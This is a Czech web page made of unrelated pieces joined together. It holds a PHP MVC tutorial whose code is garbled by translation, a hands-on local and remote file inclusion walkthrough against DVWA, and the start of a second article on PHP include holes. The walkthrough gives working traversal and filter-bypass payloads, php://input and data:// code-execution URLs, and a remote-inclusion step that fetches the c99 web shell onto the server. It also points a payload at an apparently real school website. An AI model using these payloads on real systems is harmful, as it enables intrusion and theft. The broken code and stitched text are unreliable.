Místní a vzdálené vkládání souborů: využívání zranitelností a obcházení filtrů. Implementace následných tříd Model a Controller, tvorba View's Controllerů C_View a C_Edit
Mnoho lidí začne psát projekt, aby pracovalo s jediným úkolem, aniž by naznačovalo, že se může rozvinout do systému správy více uživatelů, například obsahu nebo nedej bože produkce. A všechno se zdá skvělé a cool, všechno funguje, dokud nezačnete chápat, že napsaný kód se skládá výhradně z berliček a pevného kódu. Kód je smíchán s rozložením, dotazy a berličkami, někdy dokonce nečitelný. Vyvstává naléhavý problém: při přidávání nových funkcí si musíte s tímto kódem vrtat velmi dlouho a pamatovat si „co tam bylo napsáno?“ a proklínat se v minulosti.Možná jste dokonce slyšeli o designových vzorech a dokonce jste listovali v těchto úžasných knihách:
- E. Gamma, R. Helm, R. Johnson, J. Vlissides „Objektově orientované konstrukční techniky. Designové vzory";
- M. Fowler "Architecture of Enterprise Software Applications."
Tento článek bude užitečný především pro začátečníky. Každopádně doufám, že za pár hodin si uděláte představu MVC implementace vzor, který je základem všech moderních webových rámců, a také získáte „potravu“ pro další úvahy o tom, „jak na to“. Na konci článku je výběr užitečných odkazů, které vám také pomohou pochopit, z čeho se skládají webové rámce (kromě MVC) a jak fungují.
Zkušení PHP programátoři v tomto článku pravděpodobně nenajdou nic nového pro sebe, ale jejich komentáře a komentáře k hlavnímu textu by byly velmi užitečné! Protože Bez teorie je praxe nemožná a bez praxe je teorie k ničemu, pak bude nejdřív trochu teorie a pak přejdeme k praxi. Pokud jste již obeznámeni s konceptem MVC, můžete přeskočit teoretickou část a přejít rovnou k praxi.
1. Teorie Vzor MVC popisuje jednoduchý způsob strukturování aplikace, jejímž účelem je oddělit obchodní logiku od uživatelského rozhraní. Díky tomu je aplikace jednodušší škálovat, testovat, udržovat a samozřejmě implementovat.Podívejme se na koncepční diagram vzoru MVC (podle mého názoru je to nejúspěšnější diagram, který jsem viděl):
V architektuře MVC model poskytuje data a pravidla obchodní logiky, pohled je zodpovědný za uživatelské rozhraní a řadič zajišťuje interakci mezi modelem a pohledem.
Typický tok aplikace MVC lze popsat následovně:
Tím se zobrazí pohled řekněme na hlavní stránku webu.
která například obsahuje modelová volání, která čtou informace z databáze.
Model by neměl přímo interagovat s uživatelem. Všechny proměnné související s požadavkem uživatele musí být zpracovány v regulátoru.
Model by neměl generovat HTML nebo jiný zobrazovaný kód, který se může měnit v závislosti na potřebách uživatele. Takový kód by měl být zpracován v zobrazeních.
Stejný model, například: model autentizace uživatele lze použít v uživatelské i administrativní části aplikace. V tomto případě to lze vzít obecný zákoník do samostatné třídy a dědit od ní, přičemž definuje metody specifické pro podaplikace v jejích potomcích.
Pohled – slouží k určení externího zobrazení dat přijatých z regulátoru a modelu.
Pohledy obsahují značky HTML a malé vložky kódu PHP pro procházení, formátování a zobrazování dat.
Neměl by přímo přistupovat k databázi. To je to, co by modely měly dělat.
Neměl by pracovat s daty získanými z požadavku uživatele. Tento úkol musí provést regulátor.
Může přímo přistupovat k vlastnostem a metodám regulátoru nebo modelů, aby získal data připravená k výstupu.
Pohledy se obvykle dělí na společnou šablonu obsahující označení společné pro všechny stránky (například záhlaví a zápatí) a části šablony, které se používají k zobrazení výstupu dat z modelu nebo zobrazení formulářů pro zadávání dat.
Ovladač je lepidlo, které spojuje modely, pohledy a další komponenty pracovní aplikace. Správce je odpovědný za zpracování požadavků uživatelů. Řadič by neměl obsahovat SQL dotazy. Je lepší je nechat v modelech. Řadič by neměl obsahovat HTML nebo jiné značky. Vyplatí se to přiblížit.
V dobře navržené aplikaci MVC jsou řadiče obvykle velmi tenké a obsahují pouze několik desítek řádků kódu. Co se nedá říct o Stupid Fat Controllers (SFC) in CMS Joomla. Logika ovladače je zcela typická a většina z ní je přenesena do základních tříd.
Modely jsou naopak velmi tlusté a obsahují většina kód související se zpracováním dat, protože datová struktura a obchodní logika v ní obsažené jsou obvykle zcela specifické pro konkrétní aplikaci.
Doufám, že jste si již všimli, že různé stránky mohou být dokonalé různé formáty vytvoření adresního řádku. Každý formát může zobrazit architekturu webové aplikace. I když tomu tak není vždy, ve většině případů jde o jasný fakt.
Zvažme dvě možnosti pro adresní řádek, které zobrazují nějaký text a uživatelský profil.
Přibližný kód zpracování v tomto případě:
switch($_GET["action"]) ( case "about" : require_once("about.php"); // konec stránky "O nás"; case "contacts" : required_once("contacts.php"); // konec stránky "Kontakty" : require_once("feedback.php" // stránka "Zpětná vazba" default: require_once("page404.php" // stránka "404" break;
Myslím, že to už udělal skoro každý.
Pomocí stroje pro směrování adres URL můžete nakonfigurovat aplikaci tak, aby přijímala požadavky, jako je tato, aby zobrazovala stejné informace:
http://www.example.com/contacts/feedback
Zde kontakty představují ovladač a zpětná vazba je metoda ovladače kontaktů, která zobrazuje formulář zpětná vazba atd. K této problematice se vrátíme v praktické části.
Rovněž stojí za to vědět, že mnoho směrovačů webových frameworků umožňuje vytvářet vlastní trasy URL (specifikujte, co každá část adresy URL znamená) a pravidla pro jejich zpracování.
Nyní máme dostatečné teoretické znalosti, abychom mohli přejít do praxe.
Při pohledu do budoucna řeknu, že základní třídy Model, View a Controller budou uloženy ve složce jádra.
Jejich děti budou uloženy v adresářích controllerů, modelů a pohledů. Vstupním bodem do aplikace je soubor index.php. Soubor bootstrap.php zahájí načítání aplikace, připojení všech potřebných modulů atp.
Půjdeme postupně; Otevřeme soubor index.php a naplníme jej následujícím kódem:
ini_set("zobrazit_chyby", 1); require_once "application/bootstrap.php";
Tady by neměly být žádné otázky.
Dále okamžitě přejdeme k souboru bootstrap.php:
require_once "core/model.php"; require_once "core/view.php"; require_once "core/controller.php"; require_once "core/route.php"; Trasa::start(); //spusťte router
První tři řádky budou obsahovat aktuálně neexistující soubory jádra. Poslední řádky obsahují soubor s třídou routeru a spouštějí jej k provedení voláním statická metoda Start.
RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
Tento kód přesměruje veškeré zpracování stránky na index.php, což je to, co potřebujeme. Pamatujete si, že jsme v prvním díle mluvili o Front Controller?!
Umístíme směrování samostatný soubor route.php do hlavního adresáře. V tomto souboru popíšeme třídu Route, která bude spouštět metody kontroleru, které zase vygenerují zobrazení stránky.
Obsah souboru route.php
class Route ( statická funkce start() ( // ovladač a výchozí akce $controller_name = "Main"; $action_name = "index"; $routes = explode("/", $_SERVER["REQUEST_URI"]); // získat název ovladače if (!empty($routes)) ( $controller_name = $routes; ) // získat název akce if (!empty($routes)) ( $action_name = $routes; ) // přidat předpony $model_name = " Model_". $controller_name = "Controller_".$name_controller; $action_name = "action_".$action_name // připojení souboru s třídou modelu (nemusí existovat soubor modelu) $model_file = strtolower; ($model_name ".php"; $model_path = "application/models/".$model_file; if(file_exists($model_path)) ( include "application/models/".$model_file; ) // připojte soubor. s třídou ovladače $controller_file = strtolower ($controller_name).php"; $controller_path = "application/controllers/".$controller_file; if(file_exists($controller_path)) ( include "application/controllers/".$controller_file; ) else ( /* zde by bylo správné vyvolat výjimku, ale pro zjednodušení se okamžitě přesměrujeme na stránku 404 */ Route::ErrorPage404(); ) // vytvořte řadič $controller = new $controller_name ; $akce = $jméno_akce; if(method_exists($controller, $action)) ( // volání akce ovladače $controller->$action(); ) else ( // zde by bylo také moudřejší vyvolat výjimku Route::ErrorPage404(); ) ) function ErrorPage404( ) ( $host = "http://".$_SERVER["HTTP_HOST"]."/"; header("HTTP/1.1 404 Not Found"); header("Status: 404 Not Found") ; header(" Location:".$host."404" ) ) )
Podotýkám, že třída implementuje velmi zjednodušenou logiku (i přes objemný kód) a může mít dokonce bezpečnostní problémy. Bylo to provedeno záměrně, protože... napsání plnohodnotné třídy směrování si zaslouží minimálně samostatný článek. Podívejme se na hlavní body...
Globální prvek pole $_SERVER["REQUEST_URI"] obsahuje celá adresa prostřednictvím kterého uživatel kontaktoval.
Například: example.ru/contacts/feedback
Pomocí funkce explodovat Adresa je rozdělena na komponenty. V důsledku toho dostaneme název ovladače, pro uvedený příklad je to controller kontakty a název akce, v našem případě - zpětná vazba.
Dále se připojí soubor modelu (model může chybět) a soubor kontroleru, pokud existuje, a nakonec se vytvoří instance kontroleru a zavolá se akce, znovu, pokud byla popsána ve třídě kontroleru.
Když tedy přejdete například na adresu:
example.com/portfolio
nebo
example.com/portfolio/index
Router provede následující akce:
example.com/ufo
poté bude přesměrován na stránku „404“:
example.com/404
Totéž se stane, pokud uživatel přistoupí k akci, která není popsána v ovladači.2.2. Vraťme se k implementaci MVC Pojďme na základní složka a do souboru route.php přidejte další tři soubory: model.php, view.php a controller.php
Dovolte mi připomenout, že budou obsahovat základní třídy, které nyní začneme psát.
Obsah souboru model.php
model třídy ( veřejná funkce get_data() ( ) )
Třída modelu obsahuje jednu prázdnou metodu načítání dat, která bude v podřízených třídách přepsána. Když vytvoříme třídy potomků, vše bude jasnější.
Obsah souboru view.php
class View ( //veřejné $template_view; // zde můžete zadat obecná forma výchozí.
function create($content_view, $template_view, $data = null) ( /* if(is_array($data)) ( // převod prvků pole na proměnné extrakt($data); ) */ include "application/views/". $template_view;) Není těžké uhodnout, že metoda generovat
Funkce include dynamicky propojuje obecnou šablonu (pohled), do které bude pohled vložen
k zobrazení obsahu konkrétní stránky.
V našem případě bude obecná šablona obsahovat záhlaví, nabídku, postranní panel a zápatí a obsah stránky bude obsažen v samostatném formuláři. Opět se to dělá pro jednoduchost.
Obsah souboru controller.php
class Controller ( public $model; public $view; funkce __construct() ( $this->view = new View(); ) function action_index() ( ) ) Metoda akční_index
Na předchozím obrázku je samostatně zvýrazněn soubor template_view.php - jedná se o šablonu obsahující označení společné pro všechny stránky. V nejjednodušším případě by to mohlo vypadat takto:
Domov
Abychom dali webu reprezentativní vzhled, navrhujeme CSS šablona a integrovat jej do našich webových stránek změnou struktury označení HTML a CSS spojení a soubory JavaScript:
Na konci článku v sekci „Výsledek“ je odkaz na úložiště GitHub s projektem, ve kterém byly podniknuty kroky k integraci jednoduché šablony.
class Controller_Main rozšiřuje Controller ( funkce action_index() ( $this->view->generate("main_view.php", "template_view.php"); ) )
V metodě Není těžké uhodnout, že metoda instance třídy View jsou předány názvy souborů obecné šablony a pohled s obsahem stránky.
Kromě indexové akce může ovladač samozřejmě obsahovat i další akce.
Soubor obecného zobrazení jsme zkontrolovali dříve. Zvažte obsahový soubor main_view.php:
Vítejte!
OLOLOSH TEAM je tým prvotřídních specialistů v oblasti vývoje webových stránek s dlouholeté zkušenosti sbírání mexických masek, bronzových a kamenných soch z Indie a Cejlonu, basreliéfů a soch vytvořených mistry rovníkové Afriky před pěti nebo šesti staletími...
To obsahuje jednoduché značkování bez volání PHP.
Pro zobrazení hlavní stránky můžete použít jednu z následujících adres:
Uvažujeme příklad pomocí pohledu zobrazujícího data získaná z modelu níže. 2.3.2. Vytvoření stránky „Portfolio“ V našem případě je stránka „Portfolio“ jedinou stránkou, která používá model.
Model obvykle zahrnuje metody vzorkování dat, například:
Umístěte soubor modelu model_portfolio.php do složky models. Zde je jeho obsah:
class Model_Portfolio rozšiřuje Model ( veřejná funkce get_data() ( return array(array("Year" => "2012", "Site" => "http://DunkelBeer.ru", "Description" => "Propagační stránka tmavé pivo Dunkel z Německý výrobce Löwenbraü vyrábí v Rusku pivovarnická společnost "SUN InBev.", array("Rok" => "2012", "Site" => "http://ZopoMobile.ru", "Popis" => "Ruský jazyk katalog čínské telefony Společnost Zopo na založené na Androidu OS a příslušenství k nim."), // todo); ) )
Třída řadiče modelu je obsažena v souboru controller_portfolio.php, zde je její kód:
class Controller_Portfolio rozšiřuje Controller ( funkce __construct() ( $this->model = new Model_Portfolio(); $this->view = new View(); ) funkce action_index() ( $data = $this->model->get_data( $this->view->generate("portfolio_view.php", "template_view.php", $data ) );
Do proměnné data pole vrácené metodou je zapsáno získat_data na které jsme se podívali dříve.
Tato proměnná je pak předána jako parametr metody Není těžké uhodnout, že metoda, který dále obsahuje: název souboru s obecnou šablonou a název souboru obsahujícího pohled s obsahem stránky.
Pohled obsahující obsah stránky je v souboru portfolio_view.php.
Portfolio
Rok | Projekt | Popis |
Vše je zde jednoduché, pohled zobrazuje data získaná z modelu. 2.3.3. Vytvoření zbývajících stránek Zbývající stránky se vytvoří stejným způsobem. Jejich kód je k dispozici v úložišti GitHub, odkaz na který je uveden na konci článku v sekci „Výsledky“.3. Výsledek Co se nakonec stalo:
Snímek obrazovky výsledné webové stránky vizitky
Odkaz na GitHub: https://github.com/vitalyswipe/tinymvc/zipball/v0.1
Ale v této verzi jsem načrtl následující třídy (a jejich odpovídající typy):
- Controller_Login, ve kterém je vygenerován pohled s formulářem pro zadání loginu a hesla, po jehož vyplnění se provede autentizační procedura a v případě úspěchu je uživatel přesměrován na admin panel.
- Contorller_Admin s akcí indexu, která kontroluje, zda byl uživatel na webu dříve autorizován jako správce (pokud ano, zobrazí se zobrazení panelu správce) a akcí odhlášení pro odhlášení.
Používání webových rámců, jako je Yii nebo Kohana, sestávající z několika stovek souborů, se však při vývoji jednoduchých webových aplikací (například stránek s vizitkami) vždy nedoporučuje. Nyní můžeme vytvořit krásný model MVC, abychom nemíchali PHP, Html, CSS a JavaScript kód v jednom souboru.
Tento článek je spíše výchozím bodem pro učení CMF než příkladem něčeho skutečně správného, co můžete použít jako základ pro svou webovou aplikaci. Možná vás to i inspirovalo a už přemýšlíte o napsání vlastního microframeworku nebo CMS založeného na MVC. Ale než znovu vynaleznete další kolo s „blackjackem a kurvami“, zamyslete se znovu: možná by bylo rozumnější zaměřit své úsilí na rozvoj a pomoc komunitě již existujícího projektu?!
P.S.: Článek byl přepsán s ohledem na některé komentáře zanechané v komentářích. Kritika se ukázala jako velmi užitečná. Soudě podle reakce: komentářů, PM a počtu uživatelů, kteří přidali příspěvek do oblíbených, se nápad napsat tento příspěvek ukázal jako ne tak špatný. Bohužel není možné pro nedostatek času zohlednit všechna přání a psát více a podrobněji... ale snad to udělají ti záhadní jedinci, kteří původní verzi odhlasovali. Hodně štěstí s vašimi projekty!
5. Výběr užitečných odkazů na toto téma Článek se velmi často dotýká tématu webových frameworků - jedná se o velmi široké téma, protože i mikrorámce se skládají z mnoha komponent chytře propojených a bylo by potřeba více než jednoho článku o nich mluvit komponenty. Rozhodl jsem se zde však uvést malý výběr odkazů (které jsem při psaní tohoto článku sledoval), které se tak či onak týkají tématu frameworků.Štítky: Přidat štítky
Někdy se vkládání souborů nazývá inclusion, někdy je považováno za součást PHP injection (vkládání kódu). To druhé není úplně pravda, protože zranitelnost vkládání souborů nemusí nutně souviset se spuštěním kódu.
K této chybě zabezpečení může dojít při použití (v PHP) výrazů, jako jsou:
- vyžadovat_jednou,
- zahrnout_jednou,
- zahrnout,
- vyžadovat
Každý z nich má drobné nuance, ale společné mají to, že zahrnou soubor do programu a spustí jej. Tyto výrazy mohou způsobit problémy, pokud projdou uživatelským vstupem a program jej dostatečně nefiltruje.
Mimochodem, ano, to jsou výrazy, ne funkce. Není nutné psát takto:
Vyžadovat("nějaký soubor.php");
Výhodnější varianta je:
Vyžadovat "somefile.php";
Ale to je ústup, který nemá nic společného se zranitelností.
Pokud jsou soubory zahrnuty pomocí výrazů require_once, include_once, include, require, pak můžeme říci, že vkládání kódu také probíhá ve stejnou dobu. Je však možné zahrnout soubory bez spuštění kódu na serveru. Mění se například web vzhled na základě tématu zvoleného uživatelem. Názvy témat odpovídají HTML titulek soubory, které se čtou na serveru. V této situaci, pokud je požadavek vytvořen tak, že čte soubor, který k tomu není určen (například soubor PHP), pak místo provedení příkazů zobrazí zdroj PHP.
Uživatel může určit vzdálený nebo místní soubor jako soubor zahrnutí. Na základě toho se rozlišují dvě odpovídající odrůdy:
- vkládání místního souboru
- vzdálené vkládání souborů
Nebezpečí vzdáleného zahrnutí je spuštění libovolného kódu na zranitelném serveru. To se obvykle používá u infekcí backdoor.
Nebezpečí místní implementace soubory spočívá v tom, že uživatel může zobrazit obsah souborů, ke kterým nemá oprávnění (zdrojové kódy programů, systémové soubory s nastavením a hesly). S místním zahrnutím je také možné spustit kód třetí strany (například pro infekci backdoorem), pokud byl na server dříve nahrán soubor se škodlivým kódem nebo byla použita metoda otravy protokolem nebo některé jiné metody.
Místní zahrnutí souborů není o nic méně nebezpečné než zavedení vzdálených souborů.
Využití místního vkládání souborůTuto chybu zabezpečení si můžete vyzkoušet v Damn Vulnerable Web Application (DVWA). Používám Web Security Dojo, kde je již nainstalován DVWA.
Začněme na nízké úrovni (nízké zabezpečení DVWA).
Pojďme na stránku File Inclusion http://localhost/dvwa/vulnerabilities/fi/?page=include.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file3.php
Pokud je hodnota podobná názvu souboru (soubor1.php, soubor2.php) předána jako argument proměnné, pak můžeme předpokládat, že se používá include. Vzhledem k tomu, že přípona souboru je .php, je soubor s největší pravděpodobností spuštěn na serveru (tj. je možné vložení kódu) a nikoli pouze zobrazen pro zobrazení.
DVWA má stránku http://localhost/dvwa/about.php, je umístěna o dvě úrovně výše, zkusme se na ni podívat takto: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ o.php
Ano, existuje místní chyba zabezpečení. Při zadávání se nefiltrují přechody do vyšších adresářů (../); seznam souborů pro zařazení není vyčerpávající (místo navrhovaného souboru*.php jsme zvolili about.php).
Někdy se používají zahrnuté soubory, ale adresy mohou vypadat například takto: http://localhost/dvwa/vulnerabilities/fi/?page=file1. V tomto případě lze do skriptu přidat příponu a skript vloží soubor, jehož jméno se nakonec vytvoří ve skriptu. Zranitelnost v této podobě je obvykle obtížné/nemožné zneužít.
Jako příklad využití místního zahrnutí souboru často rádi dávají něco takového:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd
Jak vidíme, povedlo se. Ale protože webové prohlížeče ignorují /r/n (znaky nový řádek), pak musíme otevřít zdrojový kód, aby byly položky čitelné:
Bohužel v souboru /etc/passwd už dlouho nejsou žádná hesla.
Můžete to stáhnout ze serveru různé soubory nastavení, SSL certifikáty, v zásadě jakýkoli soubor, který je otevřen pro čtení všem uživatelům nebo pro který má webový server dostatečná práva ke čtení:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf
Pokud jde o sdílené hostingy, někdy se můžete podívat do složek jiných lidí (opět, když nesprávné nastavení uživatelská práva).
http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db
Úkol je komplikován tím, že potřebujeme znát cestu k souboru.
Obsluha vzdáleného vkládání souborůPHP je velmi flexibilní a pro vývojáře přívětivý programovací jazyk. Příkazy pro zavádění souborů a některé další dokonale rozpozná a správně zpracuje nejen místní soubory, ale také URL...
Zkusme místo názvu souboru napsat URL webu https://site/:
http://localhost/dvwa/vulnerabilities/fi/?page=https://site/
Podívejte se, jak to vypadá zajímavě:
Stalo se následující: interpret PHP obdržel příkaz k zahrnutí souboru/stránky https://site/. Otevřel/stáhl odpovídající adresu a poslal výsledný kód k provedení jako PHP programy. Protože PHP spouští pouze kód obklopený vhodnými značkami (in v tomto případě nebyl vůbec žádný kód) a vše ostatní se zobrazí tak, jak je, pak se celá stránka webu zobrazí tak, jak je.
Tato chyba zabezpečení je pro nás samozřejmě zajímavá ne proto, že bychom si mohli prohlížet jiné weby prostřednictvím jednoho webu.
Slovo „text“ jsem zvýraznil z toho důvodu, že na serveru pod naší kontrolou by měl být textový soubor, který by se na našem serveru neměl spouštět. Náš server potřebuje pouze ukázat svůj obsah.
Chcete-li vytvořit zadní vrátka, můžete použít Weevely, PhpSploit nebo si můžete vzít hotová řešení. Použijme tentokrát již hotovou.
Proměnné $backdoor přiřadím zdrojový kód backdooru, který si stahuji z Githubu. Poté pomocí funkce file_put_contents uložím výsledný zdrojový kód do souboru c99unlimited.php.
Kód, který jsem umístil do textového souboru
$backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo "hotovo!";
Je k dispozici na http://miloserdov.org/sec.txt
Nyní pomocí vzdáleného zahrnutí nahrajeme zadní vrátka na zranitelný server.
http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt
Pozor na nápis hotovo!, zobrazuje ho skript, tzn. vše se asi povedlo.
Vzhledem k tomu, že skript, který obsahuje soubory, je umístěn v adresáři http://localhost/dvwa/vulnerabilities/fi/ a náš nový soubor se zadními vrátky by měl být uložen pod názvem c99unlimited.php, úplná adresa zadních vrátek na zranitelný server by měl být: http: //localhost/dvwa/vulnerabilities/fi/c99unlimited.php
Kontrolujeme:
Skvělé, nyní máme všechny funkce, které by správce webového serveru mohl potřebovat... a ty, kteří mají přístup k jejich serveru.
Při místním zahrnutí souborů vynechejte filtrováníPojďme k průměrná úroveň(střední) zabezpečení (konfigurovatelné v DVWA Security).
Pokud se podíváme na zdrojový kód (tlačítko Zobrazit zdroj):
pak uvidíme, že znaky ../ jsou nyní filtrovány. To nám zabrání přesunout se do adresáře výše, než je ten, ve kterém běží zranitelný skript.
Tito. nic nebude fungovat takto:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf
Pojďme se zamyslet nad tím, jak v tomto případě funguje filtrování? Řekněme, že slovo „špatné“ je filtrováno a pak řádek jako
dobrý špatný dobrý
po filtrování to bude vypadat takto:
dobře dobře
A pokud vložíte řádek takto
špatný špatný xo
pak po filtrování (to „špatné“ bude odstraněno) se ukáže
Špatně
Do ../ vložíme ../ opět doprostřed, ukáže se ..././
Zkusme tuto adresu http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf
Fungovalo to!
Dalším řešením by mohlo být kódování znaků do hexadecimálního kódování, příklad tohoto řádku:
http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
"../" lze nahradit "%2E%2E%2f".
Je také praktikováno dvojité hex kódování, ve kterém je „../“ nahrazeno „%252E%252E%252F“
Místní zahrnutí souborů při přidávání přípony do skriptuPokud kód včetně souborů vypadá takto:
Tito. Pokud je k jakémukoli uživatelskému vstupu přidána přípona .php nebo jiná přípona, neumožňuje to vytvořit požadavek tak, aby došlo k útoku.
Existuje několik technik, které jsou navrženy tak, aby rozšíření zahodily, ale lze je považovat za zastaralé, protože fungují na PHP 5.3, a dokonce ani na všech verzích. Správci webových serverů jsou však klinicky konzervativní a raději se ničeho nedotýkají, pokud to funguje. Tito. Existuje šance, že narazíte na server s velmi starou verzí PHP a měli byste si být vědomi těchto technik.
Použití nulového bajtu %00 (nulový bajt)
Na konec požadavku je přidán prázdný bajt, aby se rozšíření ignorovalo:
http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00
Druhá metoda se nazývá útok prořezávání cesty. Pointa je, že PHP zkracuje cesty delší než 4096 bajtů. V tomto případě PHP otevře soubor správně, i když jsou na konci jeho názvu lomítka a tečky. Pokud předáte jako parametr něco jako?param1=../../../../etc/passwd/./././././ (kde ./ se opakuje mnohotisíckrát), pak koncový soubor spolu s příponou (kterou skript přidal, v důsledku čehož název souboru obsahuje/../../../../etc/passwd/./././././ .php) bude zahozen. A název souboru bude include/../../../../etc/passwd/./././././. A protože PHP není zmateno koncovými lomítky a ./ na konci souboru, jednoduše je ignoruje, pak celkový PHP otevře soubor na include/../../../../etc/passwd.
Vynechání filtrování pro vzdálené vkládání souborůJak jsme již viděli ve zdrojovém kódu, střední úroveň zabezpečení také filtruje http:// a https://.
Nyní http://localhost/dvwa/vulnerabilities/fi/?. Použijeme přesně stejnou techniku jako obejít filtrování s místním zahrnutím. Vygenerovaný požadavek:
http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/
A ještě si všimněte, že se nefiltruje, např. ftp, tzn. Tato možnost by fungovala bez jakýchkoli triků:
http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/
Získání zdrojového kódu PHP skripty při vkládání souborů z php://filterTento trik nevyžaduje zahrnutí vzdáleného souboru. Bude použit jakýsi meta wrapper php://filter.
Řekněme, že chceme vidět zdrojový kód souboru file1.php, pak pro naši situaci bude požadavek složen takto:
http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php
Pozor na nesmyslný řetězec písmen a číslic – to je zdrojový kód souboru file1.php v kódování base64. Protože jde o base64, jsou podporovány i binární soubory.
Pojďme dekódovat soubor:
Vzdálené spuštění kódu pomocí php://inputToto není jako vkládání souborů a opět nevyžaduje nahrávání souborů.
Na pomoc mi poslouží rozšíření FireFox, můžete jej použít i vy nebo jakýkoli jiný program (například curl), který umí přenášet data metodou POST.
php://input má přístup k nezpracovanému tělu požadavku HTTP, abyste pochopili, co include("php://input") dělá, otevřete stránku
http://localhost/dvwa/vulnerabilities/fi/?page=php://input
A v těle žádosti odešlete správné PHP kód (například pomocí metody POST). To vám umožní provádět jakékoli povolené vzdálený server funkce!
Vzdálené spuštění kódu s data://
Navíc PHP podporuje schéma data:// URL. Kód můžete umístit přímo do parametr GET! Následující test nevyžaduje žádné speciální nástroje, pouze běžný prohlížeč k provedení útoku.
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,
Některé brány firewall webových aplikací si mohou všimnout podezřelého řetězce v adrese URL a zablokovat škodlivý požadavek. Existuje však způsob, jak zašifrovat řetězec s kódováním alespoň base64:
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
Provádějte libovolné příkazy z /proc/self/environ/proc/self/environ je úložiště procesní proměnné. Pokud má proces Apache dostatečná práva pro přístup k němu, pak při otevření webové stránky, která obsahuje zahrnutí s podobnou adresou URL,
www.website.com/view.php?page=../../../../../proc/self/environ
vydá něco jako
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, aplikace/xml;q=0.9, aplikace/xhtml+xml, obrázek/png, obrázek/jpeg, obrázek/gif, obrázek/x-xbitmap , */*;q=0,1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 verze/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=.index.php %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx,6x [e-mail chráněný] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Věnujte pozornost HTTP_USER_AGENT. Místo toho můžete nahradit správný PHP kód, který bude spuštěn na vzdáleném serveru.
Leptání a vkládání protokolů při místním zahrnutí souborůBohužel v posledním Verze Apache tato metoda již nefunguje.
Jeho podstata spočívá v tom, že kód útočníka je vložen do protokolů webového serveru. To lze provést nahrazením User-Agent , nebo dokonce jednoduše předáním parametru GET.
Statická injekce vzdáleného souboruPříklad statického:
Statické začlenění můžete použít ve velmi exotických situacích. Pro vložení škodlivého kódu je nutné provést útok typu man-in-the-middle mezi dvěma servery: jeden z nich je hostitelem webové aplikace využívající zahrnutí a druhý je hostitelem souboru použitého k zahrnutí.
ZávěrVětšina zde uvedených příkladů vyžaduje určité podmínky, které se scvrkají na nesprávnou konfiguraci serveru. Tito. Jednoduše řečeno, ne všechny zde uvedené metody budou fungovat na většině webových serverů.
V tomto článku vám povím o jedné z nejběžnějších zranitelností nalezených v PHP skriptech – o „chybě“ include. Naučíte se jak princip fungování, tak některé způsoby, jak tuto zranitelnost eliminovat.
Pozornost!!! Všechny informace uvedené v tomto článku jsou pouze informativní! Autor nenese žádnou odpovědnost za jeho zneužití!
Chyba zabezpečení php-include je jednou z nejznámějších, ale také nejběžnějších „děr“, které se dnes v PHP skriptech vyskytují. Dochází k němu, když programátor z nepozornosti, neznalosti nebo z jiného jemu známého důvodu umožní data předaná skriptu ve formě parametrů použít bez dodatečná kontrola(taková data se také nazývají „označená“) jako parametr funkcí include. Abychom lépe porozuměli principu fungování této zranitelnosti, je nutné trochu porozumět výše uvedené funkci.
php funkce include a také include_once
Tato funkce se používá pro připojení k běžící php skript přídavných softwarových modulů. Navíc na rozdíl od require, který je svými vlastnostmi podobný, funkce include spouští tyto moduly přímo ve svém procesu. V důsledku toho nebudou moduly připojené tímto způsobem spuštěny jako samostatné skripty, ale jako části skriptu, který je propojil. Přesněji, include spustí pouze tu část souboru, která je uzavřena mezi special. štítky:
""
Vše ostatní jednoduše vypíše php jako text. Tito. pokud připojíte textový soubor (například: /etc/passwd:)), který neobsahuje zadané značky, interpret vrátí celý obsah tohoto souboru.
Příklad hovoru:
Jak jste si pravděpodobně všimli, funkce include má pouze 1 parametr ($file), který určuje cestu a název souboru plug-inu. Za zmínku také stojí, že v systémech podobných Unixu (v závislosti na nastavení php) jako parametr můžete předat nejen cestu a název souboru, ale také url (internetovou adresu) souboru (!!!).
Praxe
Předpokládejme, že na nějakém WEB serveru je nainstalováno následující php skript(její adresa URL je http://www.superpupersite.com/index.php):
A také mnoho různých modulů plug-in skriptů:
home.php
feedback.php
...
